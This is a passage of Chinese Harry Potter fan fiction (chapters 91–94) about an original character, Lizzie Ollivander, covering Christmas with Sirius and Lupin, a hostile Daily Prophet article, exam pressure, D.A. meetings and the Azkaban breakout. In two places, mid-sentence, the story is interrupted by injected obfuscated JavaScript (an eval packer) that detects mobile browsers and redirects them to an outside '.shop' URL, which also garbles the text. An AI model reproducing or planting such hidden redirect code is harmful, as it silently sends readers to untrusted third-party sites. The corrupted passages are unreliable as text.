“来吧,好好的圣诞节可不能一个人窝着。”卢平用上了先前塞西尔嘲讽他的时候说的话。 91. 小孩总会变的 莱姆斯·卢平并不是一个天生的调停者,说实在的,他甚至并不觉得自己是个富有耐心且情绪足够稳定的人,毕竟瞧瞧每到快满月的那两天,他都得连着喝下几壶高浓度的魔药汤剂,还得用几道咒语把房门死死封住。再不放心的话,他往往会求助塞西尔,她工作的神奇动物管理司配备了足量的昏迷药水,即便是庞然如毒角兽都只需要一两滴,对付他一个半调子狼人实在是绰绰有余。 而他之所以会这样想,是因为他完全无法介入上一秒互相扯着领子争吵,下一秒又互相倒着白兰地咬耳朵的那两个人。 “你知道的,我一般情况下从不怀疑邓布利多的决定,但这件事还是……”塞西尔眉头紧锁不知道在愁些什么。 “如果非要那个鼻涕虫来教,我宁可负责开小灶的人是你呢。”西里斯撇了撇嘴,看起来像是闻到了什么奇怪的味道似的。 “你不会觉得说这种话是在夸我吧?”塞西尔直起腰来,刚好看到半个身子站在门外的卢平,他端着半个小时前就说要拿上楼来的火腿片和烤杏仁,她便起身走了过去将盘子接了过来。 “莱姆斯你来得再慢一点,她就要喝光整一瓶了。”西里斯勾着下巴,抬眼看向他。 “酒是我昨天带来的,火腿片是莱姆斯刚切好的,你做了什么?”塞西尔白了他一眼,把盘子搁在窗台,斜倚着身子看向窗外。 “房子是我的。”西里斯得意地笑了笑,抬手把打着卷的刘海拨到一边,露出那双很漂亮的眼睛。 “啧。”大约是听不下去这语气,塞西尔和卢平俩人同时咂了一下嘴。 西里斯毫不在意二位的态度,将剩下的酒杯送到了卢平手边,听着塞西尔调侃唐克斯今天又来了,他又忍不住笑出来,这个圣诞节家里实在是太热闹了,白天里能跟孩子们说话,晚上还能跟这群人胡吃海喝,这种热闹冲散了他前些日子独自留在房里的死寂。 不过不愿意在楼下厨房里待着的人可不止卢平一个,谁让唐克斯只会在这里留到晚餐时间结束,而莫丽·韦斯莱可一直没离开过。想来是罗里将解毒剂的事情告诉了他们,那位本就热情过人的妇人更是将塞西尔也看作了大恩人,以至于原本的那些来自魔法部的风言风语也都成了纯粹的废话,塞西尔在韦斯莱夫人眼中总算是从特立独行的大龄单身未婚女青年,变成了真正可靠的成年人。 想到这层,西里斯突然有了一点不满,因为这屋子里似乎所有人都把他看作和他的教子是一代人似的管教着,斯内普嘲讽的神情仿佛就在眼前,他真希望在那张阴沉的脸上揍一拳。好在被关心与感谢的塞西尔那副拘谨的模样很是滑稽,这给西里斯带来了不少乐子。 比如,捏着嗓子跟双胞胎兄弟二人一块儿学着莫丽的语气叫她:“西西——” 连着喝了两晚,塞西尔想起自己还有个从巴黎回伦敦的侄女要照顾,终于是找到了婉拒莫丽晚餐邀请的理由,隔天一大早迷迷糊糊不知从谁的床上爬起来,她睁眼瞥了一眼两手环抱缩在沙发上昏睡过去的莱姆斯·卢平,还有坐在地毯上头靠在床边鼾声连连的西里斯·布莱克,他们两个人像是谁也没争赢房里剩下的那张床。 轻手轻脚推开门走下楼,房子里静悄悄的,厨房里也没有动静,塞西尔心想着这很不错,便顺走了料理台上的一片面包,以此结束了这一次在格里莫广场12号的圣诞假期。 她回到公寓先把乱糟糟的房间收拾了一遍,清理了很长时间没用的壁炉,最后洗了一个彻底的热水澡,看到放在餐桌上的猫眼石胸针,她揉了揉半干的短发,原本的浅灰色逐渐变成了亮眼的绿,像猫眼石一般。 时间算得刚刚好,塞西尔扣好上衣最后一个纽扣,敲门声随即响起,探头看了一眼,穿着一件紫色大衣的莉兹站在台阶上,那位传说中的奥利弗·伍德正勾着食指局促地跟在她身后。 “哟,木头先生。” 刚走到一楼打开门,塞西尔就开口跟小伙子打了招呼,她一主动开口,反而让琢磨了半天如何正介绍自己的伍德慌了神,他眨巴了好一阵子才想起回一句早上好,笨嘴拙舌的样子惹得莉兹在一旁偷笑,她也不打算帮忙,只是一味看着塞西尔继续开伍德的玩笑。 直到莉兹和塞西尔上了楼,她才笑着说:“他平时虽然不太聪明,不过也没有这么笨的。” “难得听到你给别人说好话,”塞西尔进门把热好的巧克力倒进了马克杯里,“小孩儿,你变了。” “没错,我已经不是小孩了。”莉兹拿起杯子,熟门熟路去翻柜子里的棉花糖。 “是啊,爱吃糖的大人,”塞西尔轻笑了一声,“这次还需要我送你去国王十字车站吗?” “大人会自己坐地铁,”莉兹昂起头,“我已经学会了,奥利弗过两天会跟我一起,英格兰队跟爱尔兰队有友谊赛,他和队友们要从火车站出发。” “真厉害啊,大人。”塞西尔捏了捏她的脸颊,转身将她脱下的大衣挂起来。 和家族中唯一的叛逆者成为密友的好处就是,永远不用担心从她那里听到半句说教,因为无法成为典型“榜样”的他们,不会在家里另一个人做出相同选择的时候说出指责的话。尽管莉兹很清楚塞西尔是自己的姑姑,是长辈。 返校前一天莉兹回了一趟对角巷,把夜骐的尾毛放到了魔杖店的储藏室,爷爷和往常一样坐在店里打着瞌睡,时而清醒时而糊涂,他似乎对米歇尔与莉兹的矛盾一无所知,只是浅浅问了她在巴黎玩得高不高兴,然后拿了点零花钱出来给她买芭菲吃。 老奥利凡德先生就是这样的迷糊,这种“不关心”也让莉兹觉得心里很放松。人们总说出身拉文克劳的人有刨根问底的习惯,可对于人际关系,没有答案往往是唯一的解决方案。 火车鸣笛声响起的那一刻,莉兹恍惚间觉得眼前一层幕布被揭开了,供以躲藏的后台被展示出来,她就站在暗中,一束追光打在前方,只要向前一步,所有人都能看到她的脸,她必须把她的戏演完。 比起暑假后开学时满满当当的车厢,新年后的则是空空荡荡的,莉兹随意找了个没人的四人位,把行李放在了脚边。 连接处隐约传来有人对话的声音,听着像戴维斯,他很喜欢在句末将语调上扬,好像这会让他听起来不容反驳一样。 “这可真是太不合规矩了,几个韦斯莱们拿着校长的同意书申请了自行返校,波特和格兰杰怎么能也一起申请,我们总应该提前接到通知吧。” “我并不知道校规里有明文禁止学生不乘坐霍格沃茨特快列车返校。”梅根冷淡地搭话,“何况邓布利多校长已经签名,我们能现在被通知已经是学生主席的特权了。” 不痛不痒且不含任何感情色彩的回应让戴维斯面颊一热,尤其是穿过车厢走道时,莉兹还遮住了脸缩在角落,他觉得那一定是奥利凡德在嘲笑他。 很显然,戴维斯的预感第一次被印证了正确性,因为莉兹确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487879|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在笑,她很爱看罗杰·戴维斯捞不着好处的模样,要是能见到他吃亏,她发誓自己应该会当场笑出声来。 只可惜这阵逗乐的好心情没有保持太长时间,从莉兹走下火车到礼堂短短一段路,她明显感受了一种久违的熟悉的视线,那是她还被所有人称作是前路光明的米歇尔二代时经常感受到的一种注视,按理来说应当早就消失了。点点不适挠着她的心口,莉兹的嗓子有些痒,想咳嗽又咳不出来。 冷着脸在拉文克劳的桌子上坐下,秋很快就注意到了对面莉兹的脸色,她悄悄把一份《预言家日报》从桌下递了过来。 因为整个假期都在国外,加上莉兹新的一年没有再定报纸,所以她自然不会收到今早刚发售的那一期,更不会看到头版的新年专刊人物说标题上赫然写着——米歇尔望女成凤梦破碎,叛逆少女终成庸才。 在这两行字下,竟是一张丽塔与米歇尔面对面坐在一起的照片。 不苟言笑的米歇尔女士满脸写着怒意与厌恶,与丽塔揭露的那些莉兹的叛逆之举形成了完美的对应,而专题文章中也包括魔法部官员、霍格沃茨高级调查官兼黑魔法防御课教授透露的第一手消息:“奥利凡德小姐是一位顽劣且难以管教的学生,她目中无人且傲慢无礼,不仅被解除了级长职务,也被拉文克劳魁地奇学院队伍开除了……” “她还是很擅长编故事,”莉兹快速扫完全文,将报纸丢到一旁,像个没事人似的往空盘子里夹了三个餐包,而后切开面前的羊排,热腾腾的肉塞了满嘴,“但米歇尔女士也不是好惹的巫师。” “你真的还好吗?”秋关心地小声问,“丽塔这样编造你妈妈对你的批评,肯定不太好受。” “哦,那倒没事的,批评的话都不是编的,她大概还为了篇幅省略了不少呢,”莉兹把嘴里的肉强行咽下去,喝了一大口南瓜汁,“不过每一段前面添油加醋的前提确实是假的,我被骂并不需要理由的。” 秋一时愣住不知该怎么接话,莉兹便一边吃着一边解释:“可她一般不是照片上的表情,米歇尔讨厌的是眼前的丽塔,她坐在那里很不情愿。” “所以你的意思是,米歇尔并没有在生你的气?”秋说道。 “也许也有生我的气吧,”莉兹耸耸肩,“那已经不重要了,我更感兴趣的是什么人让被逐出英格兰队的米歇尔心甘情愿接收一份英国报纸的专访。” 这个疑问秋也给不出回答,她轻叹了一口气,将剩下的烤鸡腿挪到了莉兹的盘子里,她猜她大概是太饿了。 一直吃到了最后一个人都离开了礼堂,莉兹终于是放下了刀叉,她拍了拍快要被撑爆的肚子,紧紧闭着嘴,走路的速度也放慢了,她实在担心吃进去的东西一个不小心就被摔出来。 谁料刚过拐角就跟最倒胃口的人撞了照面,女人艳粉色羊毛斗篷上的大毛球晃得莉兹胃里一阵翻江倒海,她是一点点也忍不住了,干呕声在走廊里显得很是突兀。 晃眼的一坨迅速后退了半步,丢下了一个嫌弃的眼神同时说道:“奥利凡德小姐千万不能再让父母伤心了,我想你不是这么不懂事的孩子,对吧?” “那您真是错看我了,乌姆里奇教授。”莉兹直起身垂眼看向比自己矮了半头的女人,而后压着嗓子回答。 望着她跺着脚转身上楼的背影,虽然莉兹一直没有期待过圣诞假期结束以后一切都可以翻篇重新开始,但这个开端距离她最低限度的指望还是差了太多。 92. 别耍脾气了 这世界上很难有什么事情比魔药学课被排到上午第一节更让人心烦的了,新年后为了让七年级的学生有更多的时间准备六月的那场大型考试,也就是N.E.W.T,高年级学生的课表都被重新安排了一遍。梅林自然也不会知道,当莉兹回到拉文克劳公共休息室时,见到早前被她拿下来的倒计时钟又被挂上了是什么心情。始作俑者罗杰·戴维斯正捧着一本厚厚的高级魔咒学实践指导坐在靠着壁炉的沙发椅上,给几个低年级的学生装模作样讲着课。 他阴阳怪气地瞥了一眼路过的莉兹,仿佛在用眼神说“瞧啊那就是你们的反面教材”,这对莉兹当然是不痛不痒的,她把刚从弗立维教授那里收到的新课表折叠了两下塞进斗篷口袋,苦恼着假期前斯内普留的两篇小论文还没收尾,而明天一早就要交差了,便立刻小跑着上了楼。 埋在高高的课本堆里奋笔疾书的时候,莉兹突然觉得去年万圣节前乔治邀请她一块儿退选魔药学课是个无比正确的决定。不过遗憾的是,现在的她已经失去了这个机会,并且由于一些沟通失误,她将在六月迎来六门N.E.W.T考试。 都说叛逆期的举动会让未来的自己吃亏,可是这个报应未免来得有一点太快了,尽管莉兹很清楚,罗里绝不是因为女儿离家出走就要想尽办法惩罚她的那种父亲,但怎么会有人都不写信问问女儿选了什么课就帮她报了所有科目的考试,总不能因为他是全科优秀的拉文克劳毕业生就认为自己也是一样的吧。 传说中最为沉默的奥利凡德一家,这也太沉默了。 在霍格沃茨七年从未被繁重的课业压垮过的莉兹,总算是在最后的日子里第一次体会到了学习的“乐趣”,她几乎把所有的课余时间都用来填补去年遗留下的一个个窟窿,甚至连魔咒学课都还欠着一篇课程报告。眼见着过了作业截止时间,弗立维教授也没有批评莉兹的意思,相反地,他收到报考同意书时是十分欣喜的。 “太好了,能有六门的成绩,这一定会在面试的时候加分的。”他笑着挥了挥魔杖,从自己的书架上又翻出了两本参考书借给了莉兹,看来他先前说想招揽几个毕业生进学校实习并非是玩笑话。 “我听说斯克林杰小姐已经给斯内普教授递了申请,”没等莉兹有回应,弗立维又压低了声音说起了悄悄话,“但是没关系,我一定会帮你再争取。” “其实……”莉兹低头看向自家院长那期待的目光,只好把肚子里的实话暂时咽了下去,显然这也不是个谈弃考的好时机,“我之后不会再迟交作业了,谢谢您体谅,也谢谢您的书。” 刚一说完,她逃也似的跑出了弗立维的办公室,生怕教授再萌生什么多余的期望,让她越来越难开口,把那两本书揣进斜挎包里,她一级一级蹦下台阶,然后又变成了两级一跳,最后直接撑着扶手翻身跃下,动作灵活、落地轻巧,她在楼梯拐角站定,又缓缓直起腰前后瞥了瞥,确认自己刚刚的动作并没有被其他人看见。 于是就打了个呵欠,和往常似的拐进走廊,慢悠悠地晃荡着前进,一阵冲鼻的香气扑面而来,莉兹的目光落在经过的几个女生手上那粉色的玻璃瓶上,也不知乔治和弗雷德最近又研制了什么新奇的玩意儿,又或者是因为临近情人节了,到处都能闻见奇奇怪怪的香甜味道。如果非要被各种味道包围,莉兹宁可自己被泡在热巧克力里。 走了没两步,她听到身后有人在快步靠近,对方大约是觉得慢吞吞的莉兹太碍事了,不仅怀里抱着的斗篷扫到了她的脚面,甚至没有拉开一点距离,俩人的肩膀就这么撞上了。 戴维斯回过头扯了扯嘴角,一句对不起说得非常不走心,莉兹真觉得这段时间这位本就算不上友好的同级生对她的态度更糟糕了,所以她干脆是还给他一个同款表情,左手握拳举高到脸侧,昂起下巴的同时,对着他竖起了第三根手指。 剑拔弩张之际,又有人从后上来拍了拍她的肩膀,戴维斯连哼两声甩下了脸子,快步穿过人群,莉兹微微摇了摇头,转身打了声招呼,说道:“今天的训练谁给那蠢货喂了粪蛋,态度真有够差的。” 刚结束了魁地奇训练的秋·张身上还穿着修身的队服,额角的汗珠黏住了几缕发丝,鼻头微微泛红,说话时眉眼含笑,深色的眼珠子亮晶晶的,她慢条斯理解释着:“霍琦女士组织了一场练习赛,原本是和格兰芬多的,但安吉丽娜说她们的替补选手还没做好准备,所以临时就换成了斯莱特林的队伍。” 莉兹应了一声,但脸色依然保持着刚刚的样子,毕竟就算是这样,那也不是蠢人戴维斯把脾气撒在自己头上的理由。 “格拉哈姆几乎把罗杰的胳膊撞骨折了,梅根和霍琦女士一起劝架才拉住他们,”秋继续说,“据说斯内普今早还打回了罗杰课程作业,要他重写……” “不是打回了他的,是打回了我们所有人的,可能他的心情也很糟糕,得找人出气。”莉兹说到这里差点翻了个白眼,“我真想翘了所有的课。” “是不顺利吗,弗立维教授没同意撤销N.E.W.T科目的申请?”秋一边说着一边拆掉发绳,长长的黑发披散下来,两个四年级的赫奇帕奇男生一时看呆了两个人撞了个满怀。 “我还是先硬着头皮考试吧,”莉兹嘀咕着,“比起回答一轮又一轮的为什么,学习倒没那么麻烦了,不对,学习还是很麻烦,我准备下周把论文原封不动给斯内普,他根本就没看过。” 不知是被哪句话戳中了,秋笑出了声,她看向稍微有些无奈的莉兹,那个总是冷着脸的人露出了一副苦恼的神色,没忍住伸出手指轻轻戳了一下她鼓起的腮帮子,见她眼里又飘过一瞬不解,秋再次笑了笑,收回手将长发拨到一侧说道:“你烦恼的样子看起来特别可爱。” 这下莉兹更疑惑了,用指节敲了敲秋的额头:“球场的冷风把你也吹迷糊了吗,张小姐。” “是真的,一想到你也有这些现实的烦恼,我就会觉得真好啊,我们的距离没有那么远,”秋躲开莉兹的第二次敲打,“可能我无法理解你所有的烦心事,但这个程度的事情,应该是我能听的,况且你也不是非要成为无所不能的奥利凡德,不是吗?” 不善于表达感情的莉兹再一次因为秋的体贴和善意而陷入了沉默,她更知道自己没办法用同等的率直做出回应,其实她根本记不起自己对谁是毫无保留的,塞西尔还是奥利弗,更多的时候她都没有指望任何人给她回答,她不过是在一次又一次报告事情的结果,因为过程只需要她自己帮自己。 “塞德也总是这样说吧。”秋的下一句话可算是撬开了莉兹的嘴巴。 “你们一个两个的,真是一点都不放过我啊……”莉兹别过脸去,和秋肩并肩走过了中庭,来到了通往黑湖的小径上,云雾被风吹散,落日洒在湖面上。 “那可糟糕了,我们永远都不会放过你的。”秋揽过莉兹的肩膀,凑上前看她的眼睛。 “知道了,知道了,知道了。”莉兹重复念着,但还是没办法直接和秋对视,生怕这个姑娘又要再来一段她接不上的话,所以干脆转移了话题,“我今晚准备和波特聊聊下次D.A集会的时间,最近乌姆里奇看得太紧了,我经常觉得她神出鬼没的。” “今天她在特里劳妮教授教授的课上站了整整一个小时,我想她在那记分板上写的不会是什么好的东西。”秋慢慢松开手。 “这不稀奇,她在麦格教授的高级变形课上也照样挑刺,不过下半节课就被乔治变出来的巨型长毛蛛吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487880|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑了。”莉兹说着掏出课上用的怀表,魔杖轻轻一点,把它变成冒着热气的暖炉放到了秋的怀里,“看,改变物质属性的变形咒我现在也用得很熟练了。” 两个人欣赏完了难得的落日才回了学校,莉兹直奔礼堂准备吃晚餐,秋则是要先去寝室换身衣服,走过格兰芬多的长桌时,莉兹看好波特的位置,将袖子里的便签纸抽出来,另一只手挥了挥魔杖,纸条悄悄爬过脚底的石砖而后一眨眼出现了男孩的餐盘下。 作为一个擅长传递秘密和说悄悄话的孩子,莉兹在过去的六年多内学会了无数种递纸条的方法,其中有一些来自姑姑塞西尔的亲自教授。 莉兹到有求必应屋到时间比约定时间早了四十分钟,因为她想着趁这时候把变形课留的最后一个实践作业练习完,只是没料到哈利也来得早了一些,他有些惊讶地看着空荡房间里那只骇人的蜘蛛,先是后退了半步,然后犹犹豫豫发问:“这不会是我们接下来要教的咒语吧?” 一念咒语复原了物体,莉兹转过身:“不是的,这只是我的考试而已,N.E.W.T很可怕的,波特先生。” “我过一会儿要去斯内普教授那里补习,”哈利的这句教授说得很不情愿,“所以我没有太多时间了。” “斯内普的补习?”莉兹耸了耸肩,“怪可怜的。” “是挺可怜的。”哈利附和道。 “那我就长话短说了,一是我要在下一次集会之前确认你的守护神咒语练到什么程度了,二是我们可以教授守护神咒,但是只能私下教会那些你绝对信任的人。”莉兹顿了顿,“你明白吗,只有信任的人。” “守护神咒语的程度?”哈利反问,“可它已经是一个成型的守护神了。” “如果你见过白狮子,就应该知道成熟的守护神可以帮主人的传递信息,据我所知,最高级别的守护神是可以说话的,用主人的声音。”莉兹解释说,“我可以传递文字信息,这很管用,因为很安全。” “我还没有试过,我从未想过它还有其他的作用。”哈利回答。 “你可以咨询一下格兰杰,她会告诉你所有知识,”莉兹心想着果然如此,“至于咒语练习就交给我,直到你掌握为止,我都会帮你。” “这是邓布利多校长还是……”哈利想来是被那群喜欢藏着掖着的大人整怕了,见到如此热心的莉兹也开始怀疑了。 “如果你非要这么想,那这是你亲爱的教父的主意,”莉兹毫不遮掩,“塞西尔提醒我的。” 西里斯的名号非常好使,哈利很快就平静了下来,他跟着莉兹尝试着两遍,效果都不算理想,正当他泄气的时候,莉兹的那只猎狼犬跑到了他身旁,蹭了蹭他的手背,就像是一条现实存在的大狗似的。 他弯下腰开始和猎狼犬互动玩耍,顺口问莉兹:“你认为不能公开教授的理由是D.A里有不值得信任的人吗?” “你会相信所有人吗?”莉兹把问题抛回去。 哈利摇了摇头。 “因为找不到足够多的伙伴没关系,至少要确认会害自己的人的数量足够少。”莉兹举起魔杖,“再试一次,你就得去斯内普那里报道了。” “真希望永远不会想起这件事。”哈利长叹一口气。 “很可惜,我并不擅长大脑封闭术。”莉兹的语气听着有些幸灾乐祸,让哈利好不容易轻松起来的心情又变得阴沉了。 送走垂头丧气的波特先生之后,为了掩人耳目所以不急着离开的莉兹打开了角落的收音机,调到了杰姬的节目,听着关于魁协的深度揭秘,莉兹发现自己越来越享受这种身携秘密任务的感觉,只是这似乎背离了傍晚时答应秋的诺言,但她想她是个好姑娘,她会理解自己。 93. 学会不要期待 这天清晨,一声尖叫击碎了寝室安静的氛围,被吵醒的莉兹感觉到自己的太阳穴里仿佛被插进了一根银针,她挣扎着翻了身,把枕头盖在头顶上不愿起身。前一晚在公共休息室熬到了深夜,她终于将两篇古代如尼文的翻译全部完成了,若不是从乔治那儿顺来了两只能模仿使用者笔迹的魔法羽毛笔,乌姆里奇罚抄的三遍黑魔法防御课教材第六章第三节内容大约能把她困住一个通宵。 怎么会有人连管制黑魔法的必要性都要编写上好几页的篇幅,整本书都是足够冗余的废话,莉兹看一眼都觉得浪费时间。 在听到玛丽埃塔的第二声尖叫以及第十遍“梅林在上”之后,莉兹最终还是强迫自己睁开了眼睛,她带着起床气狠狠把枕头扔到一旁坐起身,抬手掀开床帘,发现寝室里三个人都聚在了秋的床上,正一起读着那份帕德玛订阅的《预言家日报》。只不过她们的表情看起来并不像是在看头版的新闻,倒更像是见到了什么恐怖故事。 “你终于醒了!”玛丽埃塔喊出声,“有十几个犯人从阿兹卡班越狱了,报纸上说他们……他们全都是食死徒!” 这似乎是什么很难说出口的可怕名词一般,她磕巴了几次才把句子说全。 发生这种事情的话,尚未脱离睡意的莉兹多少能理解室友们的恐慌了,也就对被吵醒不再那么介意,她拿下挂着的斗篷随意裹上,而后从帕德玛的手里接过了《预言家日报》,她们三个开始换衣服收拾书包,莉兹便退到了窗台,翻阅着头版—— 魔法部部长康奈利·福吉在采访中证实,目前总计十名重型罪犯逃出阿兹卡班,还有数名企图逃跑的其他犯人被傲罗制服,局面得到有效控制。同时,相关情报也与麻瓜政府共享。 据知情人士透露,此次大规模越狱的幕后策划者为此前数次逃脱抓捕的臭名昭著的杀人犯西里斯·布莱克,他显然是为了营救自己的堂姐贝拉特里克斯·莱斯特兰奇和她的丈夫…… 实在看不下去这段毫无根据的推论,莉兹将目光放在了那十个人的通缉相片上,每个人看起来都面目狰狞、不成人形,就像是把“我是恶人”几个字写在了脸上似的。每个通缉犯的名字和犯下的罪行都标注在了相片下面,她在看到其中一个人的名字时神情陡然变得凝重了起来,但为了不让秋注意到自己的表情,莉兹只是把报纸折叠了起来,放回帕德玛的床头,背过身装作要换衣服的样子。 安东宁·多洛霍夫,当年海岛的那场大火之所以会将一切烧成焦黑,就是因为他在那一日带领了几十个食死徒上了岸,当他们看到空空如也的安全屋,愤怒地利用烈火折磨了洛夫古德夫妇,也就是米歇尔的父母,莉兹的外公外婆,二人被包围在火圈中几个小时,直到火焰烧上衣服,将皮肉都烫坏,也没有说出任何一条关于撤退伤员的情报。 米歇尔自然不会把这样残忍的事实对着女儿毫不保留地坦白,因此莉兹是在后来和塞西尔的交流中知晓这些事情的。因为那时与詹姆·波特和莉莉·波特共同前去支援转移伤员的还有塞西尔,不过她在邓布利多的指示下改了容貌没有透露名字。 至于本应该在伦敦处接应的罗里也由于妻子的突然分娩,在匆忙中并未识出妹妹的身份,他只是接过莉莉递过来的挂坠盒便陷入了无尽的悲痛之中,病房里莉兹无法停止的哭声甚至像一种感知。 足够嘲讽的是,多洛霍夫在十几年前的审判上并不承认自己烧死洛夫古德夫妇的罪行,在卡卡洛夫的指控中,他认下了两起利用阿瓦达索命咒犯下的杀人罪,却对洛夫古德这个姓氏毫无印象。他冷着脸,一副一无所知的模样,对着彼时坐在审判席的老巴蒂·克劳奇说:“您提到的这二位是谁,我应该知道他们的名字吗?” 由于凤凰社在当时不能公开透露伤员,并且傲罗们也没有找到更加切实的证据,以及多洛霍夫本人的矢口否认,他最终只因犯下两起杀人案和数起麻瓜袭击案而被判决永久监禁在阿兹卡班。 想到这里莉兹又突然放松了一些,兴许安东宁的确不知道米歇尔与那对老夫妇的关系,但隐约的不安还是萦绕在她的心口,她摸了摸脖子上的项链,在巴黎淘到的石头和秋送的蛋白石都挂在了链子上。一点微弱的光芒闪烁着,石头发了光,她那点零星的不安也被安抚了。 有早课的秋和玛丽埃塔已经出发去了教室,帕德玛也很快离开了寝室,莉兹缓了一阵子,看了一眼手表,连忙套上了羊绒衫,然后就一边穿着靴子一边在脑子里过今天的课表,上午十点的古代如尼文,还有下午两点的变形学课,前者的翻译作业写完了,后者麦格教授没有留书面作业。 看来今天会是轻松而平淡的一天,她披上巫师袍,抱起课本打开了房门。 常言道,如果你期待什么,那最好就不要去期待什么,莉兹对这一天的期许很快就被打破了。继麦格教授因为乌姆里奇差别对待学生的事当着众人的面争吵了一番之后,远近驰名的幽默又好脾气教授弗立维也与乌姆里奇起了争执。 就在今早的礼堂,因为越狱事件的发生,教授们的表情都很糟糕,连平时完全不显山露水的邓布利多校长都一副愁容满面的模样,只是各个学院的学生们似乎都没有关注新闻的习惯,像莉兹她们寝室这样的毕竟是少数。 根据安吉丽娜的转述,不知怎么的乌姆里奇似乎弯腰跟最边上在吃松饼的弗立维教授说了什么话,然后他便脸色大变,抓起刚刚乌姆里奇丢下的两张羊皮纸就跳下椅子大步追了过去,接着大家就看到了他们俩在礼堂门口为了实习名额的事开始争论不休。 不过具体的情况她实在没有听清楚,因为距离稍微有点远,而且弗立维教授的身高配上他并不算洪亮的嗓门,估计只有长桌尾端的学生听到了两个教授在说什么。 即便情报如此不足,莉兹大约也猜想到了冲突的起因,古代如尼文课上她拿着铅笔在手边的废纸上胡乱画来画去,心里在想乌姆里奇作为霍格沃茨的高级调查官,在魔法部的授意下有权审查学校所有的文件,自然就包括那份弗立维教授递给邓布利多的实习申请,那她一定就会看到上面的名字——伊丽莎白·加里克·奥利凡德,这是不久前她在自家院长殷切的注视下一笔一画签下的。 很难说乌姆里奇是因为法律执行司的斯克林杰所以要给斯莱特林的梅根·斯克林杰开绿灯,还是单纯讨厌莉兹而已。说实在的,莉兹觉得无论是哪个都挺合理的,毕竟她本来也无意留校实习,她只是想把事情拖到毕业之后再说而已。 看到莉兹·奥利凡德这学期又出现在古代如尼文的课堂上,本就为了七门N.E.W.T考试而草木皆兵的罗杰·戴维斯又回到了过去几年的紧绷状态,生怕她在教授面前抢走一点风头。可是瞥见她一整节课都心不在焉地在写写画画,他又没忍住提醒道:“已经讲到一百二十六页了。” “是吗?”莉兹不紧不慢翻着页,保持着刚刚的姿势继续走神, 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“你这哪里是近况挺好了?”戴维斯似乎直接忽略了莉兹后面的长句,“弗立维教授也保不住你的实习名额。” 懒得和麻烦的人解释麻烦的事,莉兹又一抬眉毛,干脆不说话了,这一反应惹得戴维斯倒成了那个替她着急的人,他皱起眉头带着点脾气说道:“你为什么总是一副觉得这些都不重要的样子,难道你忘记我们只有四个月就要离开霍格沃茨了吗?” 不解地转过头看向戴维斯,莉兹突然在想自己退役的时候说的那些话他是不是没听懂,或者根本就没往心里去,她眨了眨眼,语气里是逼人的冰冷:“罗杰,你如果没有朋友的话,就去交一个吧。” “啊?”戴维斯直起腰来。 “我们本来就当不了朋友,我从未把你当成对手,自然也不想做你的假想敌,我不负责给你领跑,你自己跑下去又不会死掉。”莉兹说得越来越直白了。 明显被戳穿了乱七八糟的心思,戴维斯难堪得面色发青,他咬紧了牙关,腮帮子绷得紧紧的,想发怒又知道现在不可以,并且在一个面色平静的人眼前崩溃是最丢人的事情,他在这六年里已经吃尽苦头了。 剩下的时间里,莉兹一直能察觉到旁边的戴维斯用力的呼吸声,她其实还可以把话说得再难听一些,只是她好歹也稍微成长了一些,虽然依然没有学会收敛。为什么大家总是喜欢把自己的人生和自己之外的事物捆绑在一起,难道没有追赶和超越的具体目标就不能获得成绩了吗。 米歇尔是这样,戴维斯也是这样,他们真的都很奇怪。 期待中的平和且普通的一天自然是不存在了,为了把脑子里的多洛霍夫、乌姆里奇还有麻烦的戴维斯都扔出去,莉兹在这晚的D.A集会中专心给每个人调整了施咒的姿势,又在练习结束后一个人留在了有求必应屋,她从挎包里翻出今年开学以来一直没时间打开的麻瓜小说,屋子里便出现了一个很舒服的单人沙发,还有一杯热可可。 沉浸在阅读之中直到宵禁时间开始,她摸出了那张级长巡夜的排班表,倒霉的是那个马尔福家的小子和帕金森刚好在巡逻。勉强避开了两个人的视线,莉兹一路爬到了天文塔楼最顶上,想着在这里等一会儿再回寝室,却没料到一转身竟撞上了意外之客。 “抱歉,校长先生。” 她说罢,抬起头看向了白发苍苍的阿不思·邓布利多,他在微笑着对她点头。 94. 非要做这个聪明人吗 比起这时候在走廊上转悠的那两个斯莱特林,莉兹确实觉得在天文塔和邓布利多先生待一会儿不算是个糟糕的主意,如果今晚的天气能晴朗一些至少还能看到几颗星星,可惜这会儿不是破晓前,找不到最亮的金星,应当能被注意到的木星与新月也被阴沉的乌云挡得严严实实。 她总不能开口就和校长抱怨这不友好的天气,但她也不知道在无法避免交流的时候,应该和并不亲近的教授说些什么,即便她可以当着波特的面直接说出“彻头彻尾的邓布利多军”这句话,即便她从塞西尔那里听到了太多来自邓布利多的提醒,这些无法直言的信息为她和一群不知晓身份的同伴们建立起了一段又一段联系——共同的理想与共同的敌人。 莉兹不禁回忆起上一次偷跑到魁地奇球场的清晨,她将邓布利多先生的言外之意视为是一种认可,以至于她无法将今晚的偶遇当作是纯粹的偶然,总觉得他依旧是想要提醒自己一些事情。 会是波特的事情吗,塞西尔将自己正在做的事情告诉邓布利多先生了吗,还是有新的任务呢,除了保护关键人物之外的? 她其实很好奇,不过却没有直接问出口。 毕竟校长先生只是对着乌云密布的天空讲了两个无厘头的天气笑话,向来就是逗不笑的莉兹面色平静,一副迟钝且木讷的模样,实际上她在掏空脑袋思索如何回应。 